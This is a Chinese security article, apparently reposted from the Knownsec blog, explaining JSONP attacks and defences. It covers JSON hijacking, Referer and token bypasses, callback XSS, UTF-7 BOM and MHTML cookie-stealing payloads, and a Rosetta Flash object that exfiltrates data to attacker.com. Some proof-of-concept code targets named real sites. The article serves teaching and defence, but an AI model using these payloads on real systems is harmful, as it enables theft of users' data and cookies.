javascript
JSONP跨域资源共享的安全问题
目錄
關于 JSONP
一、JSON 劫持
二、Callback 可定義導致的安全問題
三、其他文件格式（ Content-Type ）與 JSON
四、防御
摘自：http://blog.knownsec.com/2015/03/jsonp_security_technic/
關于 JSONP
JSONP跨域
安全問題一直都是伴隨著業務發展而出現的，JSONP 的出現同樣帶來了各種各樣的安全問題。本文對 JSONP 實現過程中帶來的安全問題做了一些簡單介紹。
一、JSON 劫持
JSON 劫持又為“ JSON Hijacking ”，最開始提出這個概念大概是在 2008 年國外有安全研究人員提到這個 JSONP 帶來的風險。其實這個問題屬于 CSRF（ Cross-site request forgery 跨站請求偽造）攻擊范疇。當某網站通過 JSONP 的方式來跨域（一般為子域）傳遞用戶認證后的敏感信息時，攻擊者可以構造惡意的 JSONP 調用頁面，誘導被攻擊者訪問來達到截取用戶敏感信息的目的。一個典型的 JSON Hijacking 攻擊代碼：
<script> function?wooyun(v){alert(v.username); } </script> <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>這個是在烏云網上報告的一個攻擊例子。當被攻擊者在登陸 360 網站的情況下訪問了該網頁時，那么用戶的隱私數據（如用戶名，郵箱等）可能被攻擊者劫持。
雖然這種攻擊已經出現好幾年了，但是目前在大的門戶網站都還普遍存在，而且由于安全意識問題很多官方可能還不認為這是一個安全問題，上面提到的例子當時在烏云網站上 360 是忽視了的！
當然還是隨著安全意識和技術水平的提高，很多甲方公司開始重視此類安全問題，開始著手研究解決方案。其中一個方案就是驗證 JSON 調用的來源（ Referer ）。這個方案是主要利用了 <script> 遠程加載 JSON 文件時會發送 Referer ，在網站輸出 JSON 數據時判斷 Referer 是不是白名單就可以進行防御！這個方法是可行的，但是具體實現過程中又容易導致兩種常見的邏輯問題：
1、Referer 過濾（正則）不嚴謹
比如 http://www.qq.com/login.php?calback=cb 輸出數據時,使用了 Referer 過濾。但是可惜過濾的時候只過濾了 Referer 里是否存在 qq.com 這樣的關鍵詞，那么攻擊者可以聽過構造 URL：http://www.qq.com.attack.com/attack.htm ?或者 http://www.attack.com/attack.htm?qq.com 這樣的頁面來發起攻擊實現繞過 Referer 防御。
2、空 Referer
在很多情況下，開發者在部署過濾 Referer 來源時，忽視了一個空 Referer 的過濾。一般情況下瀏覽器直接訪問某 URL 是不帶 Referer 的，所以很多防御部署是允許空 Referer 的。恰恰也就是這個忽視，導致了整個防御的奔潰。因為在通過跨協議調用 js 時，發送的 http 請求里 Referer 為空！ 跨協議調用的一個簡單例子：
<iframe?src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script?src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>代碼里我們使用 <iframe> 調用 javscript 偽協議來實現空 Referer 調用 JSON 文件。
3、token防御
另外一種防御手段就是通過隨機 token 來防御，這個技術在 qq 的網站上應用比較多，如：http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=[QQ號碼]&g_tk=[隨機token] 來輸出 JSON ，同樣這個方案也是效的，但是同樣可能出現防御實現的不嚴謹問題。如這個 token 可以暴力。如：
function?_Callback(o) {alert(o.items[0].uin); } for?(i = 17008; i < 17009; i++) {?//暴力循環調用getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="?+ i); }當然以上的方式是單純的針對“ JSON 劫持”本身的來展開的各種攻防戰。但是在現實里，很多漏洞是配合組合來實現突破的，比如上面提到的限制 Referer+ 部署隨機 token 實現都很完美，無懈可擊！但是只要在該網站上出現一個 XSS 漏洞，那么利用這個 XSS 漏洞可能讓你的防御體系瞬間崩潰！ 另外這里順帶提一點：以上的方法是一些通用實現“ JSON 劫持”的方法，但是現實中某些瀏覽器的一些特有的處理機制（如 CSS 加載，錯誤信息顯示等），導致一些類似“ JSON 劫持”（攻擊對象不一定是 JSON ）的攻擊！
二、Callback 可定義導致的安全問題
在本文開頭介紹 JSON 原理的就說明了可能是為了方便前段開發調用，一般輸出時都是可定義的，開頭提到的 php 實現的代碼：
//getUsers.php <?php $callback?=?$_GET['callback']; print?$callback?.?'({"id" : "1","name" : "知道創宇"});'; ?>也就是這個可定義化的 callback 名輸出點又導致了各種安全問題，當然嚴格上來說里面提到的具體數據輸出也是可以利用的，只是本文重點強調的 callback 這個輸出點。
1、Content-Type 與 XSS 漏洞
在早期 JSON 出現時候，大家都沒有合格的編碼習慣。再輸出 JSON 時，沒有嚴格定義好 Content-Type（ Content-Type: application/json ）然后加上 callback 這個輸出點沒有進行過濾直接導致了一個典型的 XSS 漏洞，上面演示的 getUsers.php 就存在這個問題：
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>對于 Content-Type 來說早期還有一部分人比較喜歡使用 application / javascript ?而這個頭在 IE 等瀏覽器下一樣可以解析 HTML 導致 XSS 漏洞。對于這種類型的漏洞，防御主要是從兩個點去部署的：
a、嚴格定義 Content-Type: application / json
這樣的防御機制導致了瀏覽器不解析惡意插入的 XSS 代碼（直接訪問提示文件下載）。但是凡事都有個案，在 IE 的進化過程中就出現過通過一些技巧繞過 Content-Type 防御解析 html ，比如在 IE6、7 等版本時請求的 URL 文件后面加一個 /x.html 就可以解析 html （ http://127.0.0.1/getUsers.php/x.html?callback=<script>alert(/xss/)</script> ?） 具體參考：http://hi.baidu.com/hi_heige/item/f1ecde01c4af3ed61ef04646
b、過濾 callback 以及 JSON 數據輸出
這樣的防御機制是比較傳統的攻防思維，對輸出點進行 xss 過濾。又是一個看上去很完美的解決方案，但是往往都是“事與愿違”。當年( 2011 年)一個 utf7-BOM 就復活了 n 個 XSS 漏洞。這種攻擊方式主要還是存在與 IE 里(注在 IE 較新版本里已經“修復”) 也就是當我們在 callback 點輸出 +/v8 這樣的 utf7-BOM 的時候， IE 瀏覽器會把當前執行的編碼認為是 utf7 ,所以我們通過 utf7 提交的 XSS 代碼會被自動解碼并執行。如：
http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20其中：
%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20URLdecode 為：
+/v8+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-其中 +/v8 ?為 utf7-BOM ，后面的為我們注入的 utf-7 編碼后的 XSS 代碼的：
<html><body><script>alert(1);</script></body></html>參考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346
這次利用 utf7-BOM 的方法是一個非常有代表性的通用方法，IE 后面的升級也是做一定的防御，另外在開發者角度也給出了防御方法直接強制指定 Content-Type里的編碼 ( Content-Type: application/json; charset=utf-8 ) ?對于現在的瀏覽器上，雖然沒有比較通用的技巧，但是對于開發者本事過濾的機制一樣可能存在各種繞過的可能。
看來上面提到的 a 和 b 兩點的防御缺一都可能出問題，那么我們使用“ a + b 方案”，也就是兩者都上是不是很安全了不會出現問題了呢？一切皆有可能，我們拭目以待！
三、其他文件格式（ Content-Type ）與 JSON
1、MHTML 與 JSONP
在 2011 年 IE 曾經出現過一個聽過 mhtml 協議解析跨域的漏洞：MHTML ?Mime-Formatted Request Vulnerability ?( CVE-2011-0096 ) ?https://technet.microsoft.com/library/security/ms11-026 而當時的一個常見利用就是利用 JSONP 調用機制里的 Callback 函數名輸出點：
<iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer- Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll KTsNCmZ1bmN0aW9uIGNyb3NzY 29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5 kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc m9zc2Nvb2tpZSgpIiwxMDAwKTsNC jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>[詳見： 《Hacking with mhtml protocol handler》http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt]
這個點就充分利用了 callback 輸出點直接輸出一個 mhtml 文件格式，然后利用 <iframe> 調用 mhtml 標簽解析并執行 html 及 javascript 代碼，這也就是一個通用性的 XSS 漏洞（ UXSS ），隨后微軟緊急推出了解決方案及漏洞補丁程序！而對于開發者防御而已在微軟推出安全補丁之前這個漏洞影響 Google 等國際大型網站，到時 Google 為了防御這類補丁，啟用的防御措施是，在 JSON 輸出 callback 時，在文件開頭增加了多個換行回車讓遠程 mhtml 調用時解析失敗。
在攻擊角度來說，這個充分利用了計算機體系里各種文件格式識別機制，這個也和 Callback 直接在 json 文件開頭輸出的突然優勢！在這個思維的引導下，后面還出現各種各樣的文件格式加載帶來的安全問題，比如 CSS 文件格式加載導致的類“ JSON 劫持”的安全問題、JS 加載及各種文件格式編碼帶來的安全問題等等。歷史進程里往往會出現各種驚人的相識，JSONP 與文件格式的各種傳奇還在上演...
2、FLASH 與 JSONP
該來的始終會來，只是沒想到相似的場景上演到這么快!就在最近的一次 flash 安全更新 ( security bulletin APSB14-17[http://helpx.adobe.com/security/products/flash-player/apsb14-17.html] ) 里修復了一個安全漏洞：
These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs ( CVE-2014-4671 ).
而這個漏洞因影響到 Google、Facebook、Tumblr 等國際大網站而倍受國內外媒體的關注。而這個攻擊技術就和 JSONP 的 callback 點息息相關. 這個問題主要存在 HTML 通過<embed>、<object>調用遠程 flash 文件時，會直接忽視 Content-Type 而 JSONP 的 callback 輸出一般都在文件開頭就輸出，那么完全可以通過 callback 點輸出一個 swf 的文件，然遠程 html 調用并運行 swf 文件。如：
<script> // from http://50.56.33.56/blog/?p=242 var?flashvars = {}; var?params = {};??????????????????? var?attributes = {}; var?url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8"; swfobject.embedSWF(url,?"content",?"400",?"200",?"10.0.0",?"expressInstall.swf", flashvars, params, attributes); </script>這樣早在 2012 年提出的通過 callback 輸出的 swf 文件流，的實際效果是在被攻擊的網站上存放了一個惡意的 swf 文件，而 html 遠程調用這個 swf 文件可以直接導致 CSRF 攻擊.
[具體上傳 flash 文件帶來的 CSRF 攻擊請參考我寫的《 Flash+Upload Csrf ?攻擊技術》 http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]
細心的朋友可能發現上面代碼里 callback 輸出的 swf 文件流里存著各種各樣的特殊字符，這個對于上面提到的“ b、過濾 callback 以及 JSON 數據輸出”防御方案直接給攔截了，對于 Goolge 、Facebook 這樣久經考驗的大網站來說，防御應該不在話下！
在 flash 的更新“ security bulletin APSB14-17 ”發布后，該漏洞發現者給出了詳細的漏洞細節其中一個亮點就是作者實現了一個純 alphanumeric 輸出的 swf 文件的方法，如：
<object type="application/x-shockwave-flash" data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZ UnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0 333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU 5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0 333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3 SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8 88888880Nj0h" style="display: none"> <param name="FlashVars" value="url=https://vulnerable.com/account/sensitive_content_logged_in &exfiltrate=http://attacker.com/log.php"> </object>具體請參考：http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
所以對于純 alphanumeric 的輸出來說，那些針對 XSS 的過濾顯然是可以直接忽略，這個漏洞也就是證明了上面我們提到的“ a + b 方案”直接繞過了！
四、防御
通過上面的攻防對抗演練，很多開發者可能會感覺有點悲劇的味道，各種防御機制好像都有辦法繞過。這里我想到一個真理：沒有絕對的安全！那么我們防御的意義在哪里呢？我認為防御的意義就是雖然沒辦法讓開發的程序最安全（絕對安全），但是可以讓它更安全！提高攻擊者的技術成本的門檻是安全防御的一個主要的重要的方向。我們回到具體的 JSONP 防御上可以總結如下幾點：
1、嚴格安全的實現 CSRF 方式調用 JSON 文件：限制 Referer 、部署一次性 Token 等。
2、嚴格安裝 JSON 格式標準輸出 Content-Type 及編碼（ Content-Type : application/json; charset=utf-8 ）。
3、嚴格過濾 callback 函數名及 JSON 里數據的輸出。
4、嚴格限制對 JSONP 輸出 callback 函數名的長度(如防御上面 flash 輸出的方法)。
5、其他一些比較“猥瑣”的方法：如在 Callback 輸出之前加入其他字符(如：/**/、回車換行)這樣不影響 JSON 文件加載，又能一定程度預防其他文件格式的輸出。還比如 Gmail 早起使用 AJAX 的方式獲取 JSON ，聽過在輸出 JSON 之前加入 while(1) ;這樣的代碼來防止 JS 遠程調用。
相關文章：讀取型CSRF-需要交互的內容劫持?
總結
以上是生活随笔為你收集整理的JSONP跨域资源共享的安全问题的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 软考信息系统监理师，2016年3月18日
- 下一篇： Intellij IDEA使用经验（八）